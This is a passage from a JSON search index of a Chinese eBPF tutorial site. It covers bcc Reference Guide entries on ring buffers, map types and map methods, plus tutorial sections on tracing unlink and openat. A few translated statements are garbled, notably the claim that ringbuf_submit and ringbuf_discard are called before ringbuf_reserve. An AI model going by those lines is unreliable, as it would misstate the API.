bpf_trace_printk: fexit: pid = 9290, filename = test_file, ret = 0 rm-9290 [004] d..2 4637.798698: bpf_trace_printk: fentry: pid = 9290, filename = test_file2 rm-9290 [004] d..2 4637.798843: bpf_trace_printk: fexit: pid = 9290, filename = test_file2, ret = 0","breadcrumbs":"使用 fentry 监测捕获 unlink 系统调用 » Fentry","id":"27","title":"Fentry"},"270":{"body":"语法：int perf_submit((void *)ctx, (void*)data, u32 data_size) 返回值：成功返回0 这是BPF_PERF_OUTPUT表格的一种方法，用于向用户空间提交自定义事件数据。参见BPF_PERF_OUTPUT条目（最终调用bpf_perf_event_output()）。 ctx参数在 kprobes 或 kretprobes 中提供。对于SCHED_CLS或SOCKET_FILTER程序，必须使用struct __sk_buff *skb。 示例中包含以下内容： 搜索 /示例 , 搜索 /工具","breadcrumbs":"bcc Reference Guide » 3. perf_submit()","id":"270","title":"3. perf_submit()"},"271":{"body":"语法：int perf_submit_skb((void *)ctx, u32 packet_size, (void*)data, u32 data_size) 返回值：成功返回0\".一种在网络程序类型中可用的BPF_PERF_OUTPUT表的方法，用于将自定义事件数据和数据包缓冲区的前packet_size字节一起提交到用户空间。请参阅BPF_PERF_OUTPUT条目。（最终调用bpf_perf_event_output()函数。） 现场示例： 搜索/examples 搜索/tools","breadcrumbs":"bcc Reference Guide » 4. perf_submit_skb()","id":"271","title":"4. perf_submit_skb()"},"272":{"body":"语法：BPF_RINGBUF_OUTPUT(name, page_cnt) 创建一个BPF表，通过一个环形缓冲区将自定义事件数据推送到用户空间。 BPF_RINGBUF_OUTPUT相较于BPF_PERF_OUTPUT具有以下几个优点： 缓冲区在所有CPU之间共享，即每个CPU不需要单独分配 支持两种BPF程序的API map.ringbuf_output()类似于map.perf_submit()（在 ringbuf_output 中介绍） map.ringbuf_reserve()/map.ringbuf_submit()/map.ringbuf_discard()将保留缓冲区空间和提交事件的过程分为两步（在 ringbuf_reserve 、 ringbuf_submit 和 ringbuf_discard 中介绍） BPF API不需要访问CPU ctx参数 通过共享的环形缓冲区管理器，在用户空间中具有更高的性能和更低的延迟 支持两种在用户空间中消费数据的方式 从Linux 5.8开始，这应该是将事件数据推送到用户空间的首选方法。 输出表命名为'事件'。数据通过'事件'。ringbuf_reserve（）分配，并通过'事件'。ringbuf_submit（）推送到其中。 在situ示例： 搜索/示例 ，","breadcrumbs":"bcc Reference Guide » 5. BPF_RINGBUF_OUTPUT","id":"272","title":"5. BPF_RINGBUF_OUTPUT"},"273":{"body":"语法：int ringbuf_output（（void *）data，u64 data_size，u64 flags） 返回：成功返回0 标志： BPF_RB_NO_WAKEUP：不发送新数据可用的通知 BPF_RB_FORCE_WAKEUP：无条件发送新数据可用的通知 BPF_RINGBUF_OUTPUT表的方法，用于将自定义事件数据提交给用户空间。此方法类似于perf_submit（），但不需要ctx参数。 在situ示例： 搜索/示例 ，","breadcrumbs":"bcc Reference Guide » 6. ringbuf_output（）","id":"273","title":"6. ringbuf_output（）"},"274":{"body":"语法：void * ringbuf_reserve（u64 data_size） 返回：成功时返回数据结构的指针，失败时返回NULL BPF_RINGBUF_OUTPUT表的方法，用于在环形缓冲区中保留空间并同时分配一个用于输出的数据结构。必须与ringbuf_submit或ringbuf_discard之一配合使用。 在situ示例： [搜索/示例]（ https://github.com/iovisor/bcc/search?q=ringbuf_reserve+path%3Aexamples&type=Code），","breadcrumbs":"bcc Reference Guide » 7. ringbuf_reserve()","id":"274","title":"7. ringbuf_reserve()"},"275":{"body":"语法：void ringbuf_submit（（void *）data，u64 flags） 返回：无，始终成功 标志：- BPF_RB_NO_WAKEUP: 不发送新数据可用的通知 BPF_RB_FORCE_WAKEUP: 无条件发送新数据可用的通知 BPF_RINGBUF_OUTPUT表的方法，用于将自定义事件数据提交到用户态。必须在调用ringbuf_reserve()之前调用，以为数据预留空间。 现场示例： 搜索/examples ,","breadcrumbs":"bcc Reference Guide » 8. ringbuf_submit（）","id":"275","title":"8. ringbuf_submit（）"},"276":{"body":"语法: void ringbuf_discard((void *)data, u64 flags) 返回值: 无，始终成功 标志: BPF_RB_NO_WAKEUP: 不发送新数据可用的通知 BPF_RB_FORCE_WAKEUP: 无条件发送新数据可用的通知 BPF_RINGBUF_OUTPUT表的方法，用于丢弃自定义事件数据；用户空间将忽略与丢弃事件相关联的数据。必须在调用ringbuf_reserve()之前调用，以为数据预留空间。 现场示例： 搜索/examples ,","breadcrumbs":"bcc Reference Guide » 9. ringbuf_discard()","id":"276","title":"9. ringbuf_discard()"},"277":{"body":"Maps是BPF数据存储，是更高级对象类型（包括表、哈希和直方图）的基础。","breadcrumbs":"bcc Reference Guide » Maps","id":"277","title":"Maps"},"278":{"body":"语法: BPF_TABLE(_table_type,_key_type, _leaf_type,_name, _max_entries) 创建名为_name的映射。大多数情况下，这将通过更高级的宏（如BPF_HASH、BPF_ARRAY、BPF_HISTOGRAM等）使用。 BPF_F_TABLE是一个变体，最后一个参数采用标志。BPF_TABLE(https://github.com/iovisor/bcc/tree/master.)实际上是`BPF_F_TABLE( https://github.com/iovisor/bcc/tree/master ., 0 / flag /)```的包装。 方法（稍后讨论）：map.lookup()、map.lookup_or_try_init()、map.delete()、map.update()、map.insert()、map.increment()。 现场示例： 搜索/examples ,\" 搜索 /工具 固定映射 语法: BPF_TABLE_PINNED(_table_type,_key_type, _leaf_type,_name, _max_entries, \"/sys/fs/bpf/xyz\") 如果映射不存在，则创建一个新的映射并将其固定到bpffs作为文件；否则使用已固定到bpffs的映射。类型信息不强制执行，实际的映射类型取决于固定到位置的映射。 例如: BPF_TABLE_PINNED(\"hash\", u64, u64, ids, 1024, \"/sys/fs/bpf/ids\");","breadcrumbs":"bcc Reference Guide » 1. BPF_TABLE","id":"278","title":"1. BPF_TABLE"},"279":{"body":"语法: BPF_HASH(name [, key_type [, leaf_type [, size]]]) 创建一个哈希映射（关联数组），名称为name，具有可选参数。 默认值: BPF_HASH(name, key_type=u64, leaf_type=u64, size=10240) 例如: BPF_HASH(start, struct request *); 这将创建一个名为start的哈希，其中关键字为struct request *，值默认为u64。此哈希由disksnoop.py示例用于保存每个I/O请求的时间戳，其中关键字是指向struct request的指针，而值是时间戳。 这是BPF_TABLE(\"hash\", ...)的包装宏。 方法（稍后涵盖）：map.lookup()，map.lookup_or_try_init()，map.delete()，map.update()，map.insert()，map.increment()。 示例中的原位置链接： 搜索 /示例 , 搜索 /工具","breadcrumbs":"bcc Reference Guide » 2. BPF_HASH","id":"279","title":"2. BPF_HASH"},"28":{"body":"这段程序是一个 eBPF 程序，通过使用 fentry 和 fexit 捕获 do_unlinkat 和 do_unlinkat_exit 函数，并通过使用 bpf_get_current_pid_tgid 和 bpf_printk 函数获取调用 do_unlinkat 的进程的 ID、文件名和返回值，并在内核日志中打印出来。 编译这个程序可以使用 ecc 工具，运行时可以使用 ecli 命令，并通过查看 /sys/kernel/debug/tracing/trace_pipe 文件查看 eBPF 程序的输出。更多的例子和详细的开发指南，请参考 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"使用 fentry 监测捕获 unlink 系统调用 » 总结","id":"28","title":"总结"},"280":{"body":"语法: BPF_ARRAY(name [, leaf_type [, size]]) 创建一个以整数索引的数组，最快速的查找和更新为优化，名称为name，具有可选参数。 默认值: BPF_ARRAY(name, leaf_type=u64, size=10240) 例如: BPF_ARRAY(counts, u64, 32); 这将创建一个名为counts的数组，其中有32个存储桶和64位整数值。funccount.py示例使用此数组保存每个函数的调用计数。\".这是一个 BPF_TABLE(\"array\", ...) 的包装宏。 方法（稍后介绍）：map.lookup()、map.update()、map.increment()。注意，所有数组元素都预先分配为零值，无法删除。 在当前位置的示例： 搜索/examples ， 搜索/tools","breadcrumbs":"bcc Reference Guide » 3. BPF_ARRAY","id":"280","title":"3. BPF_ARRAY"},"281":{"body":"语法：BPF_HISTOGRAM(name [, key_type [, size ]]) 创建一个名为 name 的直方图映射，包含可选参数。 默认值：BPF_HISTOGRAM(name, key_type=int, size=64) 例如： BPF_HISTOGRAM(dist); 这创建了一个名为 dist 的直方图，默认有 64 个桶，以 int 类型的键索引。 这是一个 BPF_TABLE(\"histgram\", ...) 的包装宏。 方法（稍后介绍）：map.increment()。 在当前位置的示例： 搜索/examples ， 搜索/tools","breadcrumbs":"bcc Reference Guide » 4. BPF_HISTOGRAM","id":"281","title":"4. BPF_HISTOGRAM"},"282":{"body":"语法：BPF_STACK_TRACE(name, max_entries) 创建一个名为 name 的堆栈跟踪映射，提供最大条目数。这些映射用于存储堆栈跟踪。 例如： BPF_STACK_TRACE(stack_traces, 1024); 这创建了一个名为 stack_traces 的堆栈跟踪映射，最大堆栈跟踪条目数为 1024。 这是一个 BPF_TABLE(\"stacktrace\", ...) 的包装宏。 方法（稍后介绍）：map.get_stackid()。 在当前位置的示例： 搜索/examples ， 搜索/tools","breadcrumbs":"bcc Reference Guide » 5. BPF_STACK_TRACE","id":"282","title":"5. BPF_STACK_TRACE"},"283":{"body":"语法：BPF_PERF_ARRAY(name, max_entries) 创建一个名为 name 的 perf 数组，提供最大条目数，该数必须等于系统 CPU 的数量。这些映射用于获取硬件性能计数器。例如： text=\"\"\"\nBPF_PERF_ARRAY(cpu_cycles, NUM_CPUS);\n\"\"\"\nb = bcc.BPF(text=text, cflags=[\"-DNUM_CPUS=%d\" % multiprocessing.cpu_count()])\nb[\"cpu_cycles\"].open_perf_event(b[\"cpu_cycles\"].HW_CPU_CYCLES) 这将创建一个名为cpu_cycles的性能数组，条目数量等于CPU核心数。该数组被配置为，稍后调用map.perf_read()将返回从过去某一时刻开始计算的硬件计数器的周期数。每个表只能配置一种类型的硬件计数器。 方法（稍后介绍）：map.perf_read()。 现场示例： 搜索 /tests","breadcrumbs":"bcc Reference Guide » 6. BPF_PERF_ARRAY","id":"283","title":"6. BPF_PERF_ARRAY"},"284":{"body":"语法：BPF_PERCPU_HASH(name [, key_type [, leaf_type [, size]]]) 创建NUM_CPU个以int索引的哈希映射（关联数组），名为name，具有可选参数。每个CPU都会有一个单独的该数组副本。这些副本不以任何方式进行同步。 请注意，由于内核中定义的限制（位于linux/mm/percpu.c中），leaf_type的大小不能超过32KB。 换句话说，BPF_PERCPU_HASH元素的大小不能超过32KB。 默认值：BPF_PERCPU_HASH(name, key_type=u64, leaf_type=u64, size=10240) 例如： BPF_PERCPU_HASH(start, struct request *); 这将创建名为start的NUM_CPU个哈希，其中键为struct request *，值默认为u64。 这是对BPF_TABLE(\"percpu_hash\", ...)的包装宏。 方法（稍后介绍）：map.lookup()、map.lookup_or_try_init()、map.delete()、map.update()、map.insert()、map.increment()。 现场示例： 搜索 /examples , 搜索 /tools","breadcrumbs":"bcc Reference Guide » 7. BPF_PERCPU_HASH","id":"284","title":"7. BPF_PERCPU_HASH"},"285":{"body":"语法：BPF_PERCPU_ARRAY(name [, leaf_type [, size]])。创建name的NUM_CPU个按整数索引优化的数组，以实现最快的查找和更新，具有可选参数。每个CPU都会有一个单独的副本。这些副本不能以任何方式同步。 请注意，由于内核（在linux/mm/percpu.c中）定义的限制，leaf_type的大小不能超过32KB。 换句话说，BPF_PERCPU_ARRAY元素的大小不能超过32KB。 默认值：BPF_PERCPU_ARRAY(name, leaf_type=u64, size=10240) 例如： BPF_PERCPU_ARRAY(counts, u64, 32); 这将创建NUM_CPU个名为counts的数组，其中每个数组有32个桶和64位整数值。 这是BPF_TABLE(\"percpu_array\", ...)的包装宏。 方法（稍后介绍）：map.lookup()，map.update()，map.increment()。请注意，所有数组元素都预先分配为零值，并且不能被删除。 In situ示例： 搜索/examples ， 搜索/tools","breadcrumbs":"bcc Reference Guide » 8. BPF_PERCPU_ARRAY","id":"285","title":"8. BPF_PERCPU_ARRAY"},"286":{"body":"语法：BPF_LPM_TRIE(name [, key_type [, leaf_type [, size]]]) 创建一个名为name的最长前缀匹配字典树映射，带有可选参数。 默认值：BPF_LPM_TRIE(name, key_type=u64, leaf_type=u64, size=10240) 例如： BPF_LPM_TRIE(trie, struct key_v6); 这将创建一个名为trie的LPM字典树映射，其中键是struct key_v6，值默认为u64。 这是一个对BPF_F_TABLE(\"lpm_trie\", ..., BPF_F_NO_PREALLOC)的包装宏。 方法（稍后介绍）：map.lookup()，map.lookup_or_try_init()，map.delete()，map.update()，map.insert()，map.increment()。 In situ示例： 搜索/examples ， 搜索/tools","breadcrumbs":"bcc Reference Guide » 9. BPF_LPM_TRIE","id":"286","title":"9. BPF_LPM_TRIE"},"287":{"body":"语法：BPF_PROG_ARRAY(name, size)。创建一个名为 name 的程序数组，其中包含 size 个条目。数组的每个条目要么是指向一个 bpf 程序的文件描述符，要么是 NULL。该数组作为一个跳转表，以便 bpf 程序可以“尾调用”其他 bpf 程序。 这是一个 BPF_TABLE(\"prog\", ...) 的包装宏。 方法（稍后介绍）：map.call()。 实时示例： 搜索 /examples , 搜索 /tests , 分配 fd","breadcrumbs":"bcc Reference Guide » 10. BPF_PROG_ARRAY","id":"287","title":"10. BPF_PROG_ARRAY"},"288":{"body":"语法：BPF_DEVMAP(name, size) 这创建了一个名为 name 的设备映射，其中包含 size 个条目。映射的每个条目都是一个网络接口的 ifindex。此映射仅在 XDP 中使用。 例如： BPF_DEVMAP(devmap, 10); 方法（稍后介绍）：map.redirect_map()。 实时示例： 搜索 /examples ,","breadcrumbs":"bcc Reference Guide » 11. BPF_DEVMAP","id":"288","title":"11. BPF_DEVMAP"},"289":{"body":"语法：BPF_CPUMAP(name, size) 这创建了一个名为 name 的 CPU 映射，其中包含 size 个条目。映射的索引表示 CPU 的 ID，每个条目是为 CPU 分配的环形缓冲区的大小。此映射仅在 XDP 中使用。 例如： BPF_CPUMAP(cpumap, 16); 方法（稍后介绍）：map.redirect_map()。 实时示例： 搜索 /examples ,","breadcrumbs":"bcc Reference Guide » 12. BPF_CPUMAP","id":"289","title":"12. BPF_CPUMAP"},"29":{"body":"eBPF（Extended Berkeley Packet Filter）是一种内核执行环境，它可以让用户在内核中运行一些安全的、高效的程序。它通常用于网络过滤、性能分析、安全监控等场景。eBPF 之所以强大，是因为它能够在内核运行时捕获和修改数据包或者系统调用，从而实现对操作系统行为的监控和调整。 本文是 eBPF 入门开发实践教程的第四篇，主要介绍如何捕获进程打开文件的系统调用集合，并使用全局变量在 eBPF 中过滤进程 pid。 在 Linux 系统中，进程与文件之间的交互是通过系统调用来实现的。系统调用是用户态程序与内核态程序之间的接口，它们允许用户态程序请求内核执行特定操作。在本教程中，我们关注的是 sys_openat 系统调用，它用于打开文件。 当进程打开一个文件时，它会向内核发出 sys_openat 系统调用，并传递相关参数（例如文件路径、打开模式等）。内核会处理这个请求，并返回一个文件描述符（file descriptor），这个描述符将在后续的文件操作中用作引用。通过捕获 sys_openat 系统调用，我们可以了解进程在什么时候以及如何打开文件。","breadcrumbs":"捕获进程打开文件的系统调用集合，使用全局变量过滤进程 pid » eBPF 入门开发实践教程四：在 eBPF 中捕获进程打开文件的系统调用集合，使用全局变量过滤进程 pid","id":"29","title":"eBPF 入门开发实践教程四：在 eBPF 中捕获进程打开文件的系统调用集合，使用全局变量过滤进程 pid"},"290":{"body":"语法：BPF_XSKMAP(name, size [, \"/sys/fs/bpf/xyz\"])。这将创建一个名为name的xsk映射，带有size个条目，并将其固定到bpffs作为一个文件。每个条目表示一个NIC的队列ID。该映射仅在XDP中用于将数据包重定向到AF_XDP套接字。如果AF_XDP套接字绑定到与当前数据包的队列ID不同的队列，则数据包将被丢弃。对于内核v5.3及更高版本，“lookup”方法可用于检查当前数据包的队列ID是否可用于AF_XDP套接字。有关详细信息，请参阅 AF_XDP 。 例如： BPF_XSKMAP(xsks_map, 8); 方法（稍后涵盖）：map.redirect_map()。map.lookup() 现场示例： search /examples ,","breadcrumbs":"bcc Reference Guide » 13. BPF_XSKMAP","id":"290","title":"13. BPF_XSKMAP"},"291":{"body":"语法：BPF_ARRAY_OF_MAPS(name, inner_map_name, size) 这将创建一个带有映射内部类型（BPF_MAP_TYPE_HASH_OF_MAPS）的数组映射，名称为name，包含size个条目。映射的内部元数据由映射inner_map_name提供，可以是除了BPF_MAP_TYPE_PROG_ARRAY、BPF_MAP_TYPE_CGROUP_STORAGE和BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE之外的大多数数组或哈希映射。 例如： BPF_TABLE(\"hash\", int, int, ex1, 1024);\nBPF_TABLE(\"hash\", int, int, ex2, 1024);\nBPF_ARRAY_OF_MAPS(maps_array, \"ex1\", 10);","breadcrumbs":"bcc Reference Guide » 14. BPF_ARRAY_OF_MAPS","id":"291","title":"14. BPF_ARRAY_OF_MAPS"},"292":{"body":"语法：BPF_HASH_OF_MAPS(name, key_type, inner_map_name, size) 这将创建一个带有映射内部类型（BPF_MAP_TYPE_HASH_OF_MAPS）的哈希映射，名称为name，包含size个条目。映射的内部元数据由映射inner_map_name提供，可以是除了BPF_MAP_TYPE_PROG_ARRAY、BPF_MAP_TYPE_CGROUP_STORAGE和BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE之外的大多数数组或哈希映射。 例如： BPF_ARRAY(ex1, int, 1024);\nBPF_ARRAY(ex2, int, 1024);\nBPF_HASH_OF_MAPS(maps_hash, struct custom_key, \"ex1\", 10);","breadcrumbs":"bcc Reference Guide » 15. BPF_HASH_OF_MAPS","id":"292","title":"15. BPF_HASH_OF_MAPS"},"293":{"body":"语法：BPF_STACK(name, leaf_type, max_entries[, flags])。创建一个名为 name 的堆栈，其值类型为 leaf_type，最大条目数为 max_entries。 堆栈和队列映射仅适用于 Linux 4.20+。 例如: BPF_STACK(stack, struct event, 10240); 这将创建一个名为 stack 的堆栈，其值类型为 struct event，最多可容纳 10240 个条目。 方法（后面会涉及）：map.push()、map.pop()、map.peek()。 示例： 在 search /tests 中。","breadcrumbs":"bcc Reference Guide » 16. BPF_STACK","id":"293","title":"16. BPF_STACK"},"294":{"body":"语法：BPF_QUEUE(name, leaf_type, max_entries[, flags]) 创建一个名为 name 的队列，其值类型为 leaf_type，最大条目数为 max_entries。 堆栈和队列映射仅适用于 Linux 4.20+。 例如： BPF_QUEUE(queue, struct event, 10240); 这将创建一个名为 queue 的队列，其值类型为 struct event，最多可容纳 10240 个条目。 方法（后面会涉及）：map.push()、map.pop()、map.peek()。 示例： 在 search /tests 中。","breadcrumbs":"bcc Reference Guide » 17. BPF_QUEUE","id":"294","title":"17. BPF_QUEUE"},"295":{"body":"语法：BPF_SOCKHASH(name[, key_type [, max_entries) 创建一个名为 name 的哈希，带有可选参数。sockhash仅适用于Linux 4.18+。 默认值：BPF_SOCKHASH(name, key_type=u32, max_entries=10240) 例如： struct sock_key { u32 remote_ip4; u32 local_ip4; u32 remote_port; u32 local_port;\n};\nBPF_HASH(skh, struct sock_key, 65535); 这将创建一个名为 skh 的哈希表，其中键是 struct sock_key。 sockhash是一种BPF映射类型，它保存对sock结构体的引用。然后，通过使用新的sk/msg重定向BPF辅助函数，BPF程序可以使用该映射在套接字之间重定向skbs/msgs（map.sk_redirect_hash()/map.msg_redirect_hash()）。BPF_SOCKHASH和BPF_SOCKMAP的区别在于BPF_SOCKMAP是基于数组实现的，并且强制键为四个字节。 而BPF_SOCKHASH是基于哈希表实现的，并且键的类型可以自由指定。 方法（稍后介绍）：map.sock_hash_update()，map.msg_redirect_hash()，map.sk_redirect_hash()。 搜索/tests","breadcrumbs":"bcc Reference Guide » 18. BPF_SOCKHASH","id":"295","title":"18. BPF_SOCKHASH"},"296":{"body":"语法：*val map.lookup(&key) 在映射中查找键，如果存在则返回指向其值的指针，否则返回NULL。我们将键作为指针的地址传入。 示例： 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 19. map.lookup()","id":"296","title":"19. map.lookup()"},"297":{"body":"语法：*val map.lookup_or_try_init(&key, &zero) 在映射中查找键，如果存在则返回指向其值的指针，否则将键的值初始化为第二个参数。通常用于将值初始化为零。如果无法插入键（例如映射已满），则返回NULL。 示例： 搜索/examples , 搜索/tools 注意：旧的map.lookup_or_init()可能导致函数返回，因此建议使用lookup_or_try_init()，它没有这种副作用。","breadcrumbs":"bcc Reference Guide » 20. map.lookup_or_try_init()","id":"297","title":"20. map.lookup_or_try_init()"},"298":{"body":"语法：map.delete(&key) 从哈希表中删除键。 示例： 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 21. map.delete()","id":"298","title":"21. map.delete()"},"299":{"body":"语法：map.update(&key, &val) 将第二个参数中的值与键关联，覆盖任何先前的值。 示例：\" 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 22. map.update()","id":"299","title":"22. map.update()"},"3":{"body":"本文不会对 eBPF 的原理做更详细的介绍，不过这里有一个学习规划和参考资料，也许会有一些价值：","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » 2. 关于如何学习 eBPF 相关的开发的一些建议","id":"3","title":"2. 关于如何学习 eBPF 相关的开发的一些建议"},"30":{"body":"首先，我们需要编写一段 eBPF 程序来捕获进程打开文件的系统调用，具体实现如下： #include \n#include  /// @description \"Process ID to trace\"\nconst volatile int pid_target = 0; SEC(\"tracepoint/syscalls/sys_enter_openat\")\nint tracepoint__syscalls__sys_enter_openat(struct trace_event_raw_sys_enter* ctx)\n{ u64 id = bpf_get_current_pid_tgid(); u32 pid = id >> 32; if (pid_target && pid_target != pid) return false; // Use bpf_printk to print the process information bpf_printk(\"Process ID: %d enter sys openat\\n\", pid); return 0;\n} /// \"Trace open family syscalls.\"\nchar LICENSE[] SEC(\"license\") = \"GPL\"; 这段 eBPF 程序实现了： 引入头文件： 包含了内核数据结构的定义， 包含了 eBPF 程序所需的辅助函数。 定义全局变量 pid_target，用于过滤指定进程 ID。这里设为 0 表示捕获所有进程的 sys_openat 调用。 使用 SEC 宏定义一个 eBPF 程序，关联到 tracepoint \"tracepoint/syscalls/sys_enter_openat\"。这个 tracepoint 会在进程发起 sys_openat 系统调用时触发。 实现 eBPF 程序 tracepoint__syscalls__sys_enter_openat，它接收一个类型为 struct trace_event_raw_sys_enter 的参数 ctx。这个结构体包含了关于系统调用的信息。 使用 bpf_get_current_pid_tgid() 函数获取当前进程的 PID 和 TID（线程 ID）。由于我们只关心 PID，所以将其值右移 32 位赋值给 u32 类型的变量 pid。 检查 pid_target 变量是否与当前进程的 pid 相等。如果 pid_target 不为 0 且与当前进程的 pid 不相等，则返回 false，不对该进程的 sys_openat 调用进行捕获。 使用 bpf_printk() 函数打印捕获到的进程 ID 和 sys_openat 调用的相关信息。这些信息可以在用户空间通过 BPF 工具查看。 将程序许可证设置为 \"GPL\"，这是运行 eBPF 程序的必要条件。 这个 eBPF 程序可以通过 libbpf 或 eunomia-bpf 等工具加载到内核并执行。它将捕获指定进程（或所有进程）的 sys_openat 系统调用，并在用户空间输出相关信息。 eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 编译运行上述代码： $ ecc opensnoop.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json...\n$ sudo ecli run package.json\nRuning eBPF program... 运行这段程序后，可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe <...>-3840345 [010] d... 3220701.101179: bpf_trace_printk: Process ID: 3840345 enter sys openat <...>-3840345 [010] d... 3220702.158000: bpf_trace_printk: Process ID: 3840345 enter sys openat 此时，我们已经能够捕获进程打开文件的系统调用了。","breadcrumbs":"捕获进程打开文件的系统调用集合，使用全局变量过滤进程 pid » 在 eBPF 中捕获进程打开文件的系统调用集合","id":"30","title":"在 eBPF 中捕获进程打开文件的系统调用集合"},"300":{"body":"语法: map.insert(&key, &val) 将第二个参数中的值与键相关联，仅在之前没有值的情况下。 现场示例: 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 23. map.insert()","id":"300","title":"23. map.insert()"},"301":{"body":"语法: map.increment(key[, increment_amount]) 通过 increment_amount（默认为1）增加键的值。用于柱状图。 map.increment()不是原子操作。在并发情况下，如果要获得更准确的结果，请使用 map.atomic_increment() 而不是 map.increment()。map.increment() 和 map.atomic_increment() 的开销相似。 注意. 当使用 map.atomic_increment() 操作类型为 BPF_MAP_TYPE_HASH 的 BPF map 时，如果指定的键不存在，则 map.atomic_increment() 无法保证操作的原子性。 现场示例: 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 24. map.increment()","id":"301","title":"24. map.increment()"},"302":{"body":"语法: int map.get_stackid(void *ctx, u64 flags) 这会遍历在 ctx 中找到的 struct pt_regs 中的堆栈，将其保存在堆栈跟踪 map 中，并返回一个唯一的堆栈跟踪 ID。 现场示例: 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 25. map.get_stackid()","id":"302","title":"25. map.get_stackid()"},"303":{"body":"语法: u64 map.perf_read(u32 cpu) 现场示例:\"\" 搜索/tests","breadcrumbs":"bcc Reference Guide » 26. map.perf_read()","id":"303","title":"26. map.perf_read()"},"304":{"body":"语法：void map.call(void *ctx, int index) 这将调用bpf_tail_call()来尾调用 BPF_PROG_ARRAY 中指向index入口的bpf程序。尾调用与普通调用不同。它在跳转到另一个bpf程序后重用当前的栈帧，并且不会返回。如果index入口为空，它将不会跳转到任何地方，程序的执行将会继续进行。 例如： BPF_PROG_ARRAY(prog_array, 10); int tail_call(void *ctx) { bpf_trace_printk(\"尾调用\\n\"); return 0;\n} int do_tail_call(void *ctx) { bpf_trace_printk(\"原始的程序\\n\"); prog_array.call(ctx, 2); return 0;\n} b = BPF(src_file=\"example.c\")\ntail_fn = b.load_func(\"tail_call\", BPF.KPROBE)\nprog_array = b.get_table(\"prog_array\")\nprog_array[c_int(2)] = c_int(tail_fn.fd)\nb.attach_kprobe(event=\"some_kprobe_event\", fn_name=\"do_tail_call\") 这将tail_call()分配给prog_array[2]。在do_tail_call()的最后，prog_array.call(ctx, 2)尾调用tail_call()并执行它。 **注意：**为了防止无限循环，尾调用的最大数量是32（ MAX_TAIL_CALL_CNT ）。 在现场示例中： 搜索/examples , 搜索/tests","breadcrumbs":"bcc Reference Guide » 27. map.call()","id":"304","title":"27. map.call()"},"305":{"body":"语法：int map.redirect_map(int index, int flags)\".这将根据 index 条目重定向传入的数据包。如果映射是 BPF_DEVMAP ，数据包将被发送到该条目指向的网络接口的传输队列。如果映射是 BPF_CPUMAP ，数据包将被发送到index CPU的环形缓冲区，并稍后由CPU处理。如果映射是 BPF_XSKMAP ，数据包将被发送到连接到队列的 AF_XDP 套接字。 如果数据包成功被重定向，该函数将返回 XDP_REDIRECT。否则，将返回 XDP_ABORTED 以丢弃该数据包。 例如： BPF_DEVMAP(devmap, 1); int redirect_example(struct xdp_md *ctx) { return devmap.redirect_map(0, 0);\n}\nint xdp_dummy(struct xdp_md *ctx) { return XDP_PASS;\n} ip = pyroute2.IPRoute()\nidx = ip.link_lookup(ifname=\"eth1\")[0] b = bcc.BPF(src_file=\"example.c\") devmap = b.get_table(\"devmap\")\ndevmap[c_uint32(0)] = c_int(idx) in_fn = b.load_func(\"redirect_example\", BPF.XDP)\nout_fn = b.load_func(\"xdp_dummy\", BPF.XDP)\nb.attach_xdp(\"eth0\", in_fn, 0)\nb.attach_xdp(\"eth1\", out_fn, 0) 示例位置： 搜索 /examples ,","breadcrumbs":"bcc Reference Guide » 28. map.redirect_map()","id":"305","title":"28. map.redirect_map()"},"306":{"body":"语法：int map.push(&val, int flags) 将元素推入堆栈或队列表。将 BPF_EXIST 作为标志传递会导致队列或堆栈在已满时丢弃最旧的元素。成功返回0，失败返回负错误值。 示例位置： 搜索 /tests ,","breadcrumbs":"bcc Reference Guide » 29. map.push()","id":"306","title":"29. map.push()"},"307":{"body":"语法：int map.pop(&val) 从堆栈或队列表中弹出一个元素。*val被填充为结果。与查看不同，弹出操作会移除该元素。成功返回0，失败返回负错误值。 示例位置： 搜索 /tests ,","breadcrumbs":"bcc Reference Guide » 30. map.pop()","id":"307","title":"30. map.pop()"},"308":{"body":"语法：int map.peek(&val)查看堆栈或队列表头的元素。*val将被结果填充。 与弹出不同，查看不会删除元素。 成功返回0，失败返回负错误。 实例： 搜索/tests","breadcrumbs":"bcc Reference Guide » 31. map.peek()","id":"308","title":"31. map.peek()"},"309":{"body":"语法：int map.sock_hash_update(struct bpf_sock_ops *skops, &key, int flags) 向sockhash映射添加条目或更新条目。skops用作与键相关联的条目的新值。flags为以下之一： BPF_NOEXIST：映射中不得存在key的条目。\nBPF_EXIST：映射中必须已存在key的条目。\nBPF_ANY：对于key的条目是否存在，没有条件。 如果映射具有eBPF程序（解析器和判决器），则这些程序将被添加的套接字继承。如果套接字已经附加到eBPF程序，则会出错。 成功返回0，失败返回负错误。 实例： 搜索/tests","breadcrumbs":"bcc Reference Guide » 32. map.sock_hash_update()","id":"309","title":"32. map.sock_hash_update()"},"31":{"body":"全局变量在 eBPF 程序中充当一种数据共享机制，它们允许用户态程序与 eBPF 程序之间进行数据交互。这在过滤特定条件或修改 eBPF 程序行为时非常有用。这种设计使得用户态程序能够在运行时动态地控制 eBPF 程序的行为。 在我们的例子中，全局变量 pid_target 用于过滤进程 PID。用户态程序可以设置此变量的值，以便在 eBPF 程序中只捕获与指定 PID 相关的 sys_openat 系统调用。 使用全局变量的原理是，全局变量在 eBPF 程序的数据段（data section）中定义并存储。当 eBPF 